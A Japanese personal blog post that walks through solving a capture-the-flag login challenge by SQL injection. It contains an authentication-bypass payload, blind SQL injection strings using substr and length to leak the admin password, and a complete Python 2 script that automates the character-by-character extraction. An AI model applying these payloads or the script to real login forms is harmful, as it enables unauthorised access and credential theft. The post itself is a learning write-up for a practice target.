忍者ブログ
ネットワークセキュリティやってます。技術よりも趣味と雑談が多めのブログです。最近はオンライン英会話にはまっています。

2017-07

カレンダー
06 2017/07 08
S M T W T F S
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 19 21 22
23 24 25 26 27 28 29
30 31
最新コメント
[05/10 メモリ]
[07/24 hechtia]
[06/23 Stream.T]
アーカイブ
カウンター
ブログ内検索
問題ページ

問題ページにはIDとPassの2つのフォームしかない。IDはadminと言われているので、Passを当てる問題と思われる。SQLの脆弱性を突く以下のような簡単なSQLインジェクションを試す。

ID = admin
Pass = ' OR 'A'='A

すると、PHPのページが表示された。やはりadminのパスワードが回答らしい。PHP構文がヒントというので、上から眺めるとSQLの構文があって、この構文の中の変数$idや$passに適切なSQLをはめ込めばパスワードを盗み出せるかもしれない。作戦はたったがどのようなSQLを入れればよいのかは分からない。そもそもSQLよく知らないし。困り果ててグーグル先生に”sqlインジェクション password”をたずねたら、偶然以下のサイトをみつけた。

ブラインドSQLインジェクション

このブラインドSQLインジェクションは初耳だが、これをうまく使えばパスワードを推測できそう。かなりの試行錯誤をへて次のようなSQLをIDフォームに入れて(Passフォームは空欄)送信するとSQLインジェクションが成功した。

admin' and substr((SELECT pass FROM user WHERE id='admin'),1,1)<='Z'--

何をしているかというと、IDがadminでかつadminのパスワードの1文字目がzよりも小さいなら正(SQLインジェクション成功)を返させる。なお、アルファベット英数文字の順序はアスキーコード表を参照すること。ZをCに変えてもう一度攻撃をするとログインエラーとなる。つまり、adminのパスワードの1文字目は、D~Zの23文字のいずれである。このようにパラメータを1つずつ変えながら試せば答えにたどり着くことできる。しかし、パスワードの長さによっては途中で挫折してしまうかもしれない。なので、パスワードの長さを知りたい衝動にかられる。短ければ気合で総当りすることもできる。

色々調べたらlength関数を使えばパスワードの長さが分かるかもしえれないので、これも試行錯誤して以下のようなSQLにたどり着いた。

admin' and (SELECT length(pass) FROM user WHERE id='admin') <= 100--

ここでは、IDがadminでかつadminのパスワードが100以下なら正とする。結果としてSQLインジェクションが成功した。先ほどと同様に100を少しずつ減らしていけばパスワードの長さがわかる。長さは、あまりがんばりたくない文字数でしたので、なんとか楽したいとおもいはじめる。

まず試したのは、ローカルプロキツール"burp proxy"でした。HTTP Requestをいったん止めてPOSTのパラメータを変えながら試せば効率が上がるとおもったからである。たしかに直接フォームにSQLを入れてためすよりは速度は速いが、やはり手動にはかわらないので数回やると萎えてしまう。

やはり、プログラミングで自動化したい!

PythonによるHTTP通信のプログラミング経験はまったくないので、まずは以下のページを見てお勉強した。

urllib2 を使ってインターネット上のリソースを取得するには

格闘する3時間でやっとプログラミングが完成した。


import urllib
import urllib2
passwordlist = []
for i in range(1,50):
# パスワードの長さをブラインドSQLで探索
    req = {'id':"admin' and (SELECT length(pass) FROM user WHERE id='admin') = " + str(i) + "--", 'pass':''}
    params = urllib.urlencode(req)
    url = 'http://ctfq.sweetduet.info:10080/~q6/'
    request = urllib2.Request(url, params)
    response = urllib2.urlopen(request)
    data = response.read()
    if len(data) > 2000:
    # ログイン成功と失敗をresponse文の長さで判断
        print "The password has " + str(i) + " characters"
        passlen = i
        break
for j in range(1,passlen + 1):
    for x in range(33,127):
    # "!"から"~"までの文字を総当り
        req = {'id':"admin' and substr((SELECT pass FROM user WHERE id='admin')," + str(j) + ",1)='" + chr(x) + "'--", 'pass':''}
        params = urllib.urlencode(req)
        url = 'http://ctfq.sweetduet.info:10080/~q6/'
        request = urllib2.Request(url, params)
        response = urllib2.urlopen(request)
        data = response.read()        
        if len(data) > 2000:
            print chr(x),
            passwordlist.append(chr(x))
            break
        
password = "".join(passwordlist)
print ""
print "The password is " + password


これを実行すると、adminのパスワードの文字数およびパスワード文字列が出てくる。

プログラムの前半はパスワード文字数を割り出して、後半ではパスワードの各文字を記号・英数文字の総当り検索を行っている。攻撃成功か失敗かはHTTPレスポンスのHTMLの長さで判断している。
PR
この記事にコメントする
お名前:
タイトル:
文字色:
メールアドレス:
URL:
コメント:
パスワード:   Vodafone絵文字 i-mode絵文字 Ezweb絵文字
著書




プロフィール
HN:
ぜん吉
性別:
男性
職業:
割と自由なリーマン
趣味:
海外出張
自己紹介:
2006年のCCNA合格を皮切りにCCIE-RSを含めて数々のシスコ資格をパスし、2009年に念願の海外受験(ドバイ)でCCIE-SCを取得。そして、2010年に目標だったトリプルCCIEを香港の地にて達成した。今はネットワークセキュリティやデータ分析などをやっています。

■2006年の目標
CCNA(達成)

■2007年の目標
CCNP(達成)
CCDA(達成)
CCDP(達成)
CCIP(達成)

■2008年の目標
CCSP(達成)
CCIE-RS(達成)
TOEIC700点(達成)

■2009年の目標
CCIE-Sec(達成)
TOEIC800点(達成)
JNCIA-JUNOS(達成)

■2010年の目標
JNCIA-M(達成)
CCIE-SP(達成)
JNCIS-M(達成)
JNCIA-EX(達成)
JNCIS-SEC(達成)

■2011年の目標
異動(未達成)

■2012年の目標
異動(未達成)
TOEIC850点(達成)

■2013年の目標
異動(達成)
CCIE更新(達成)

■2015年の目標
本を出す(達成)

■2017年の目標
TOEIC900(達成)

■2018年の目標
海外勤務








英会話







忍者ブログ [PR]
by 桜花素材サイト様. . . .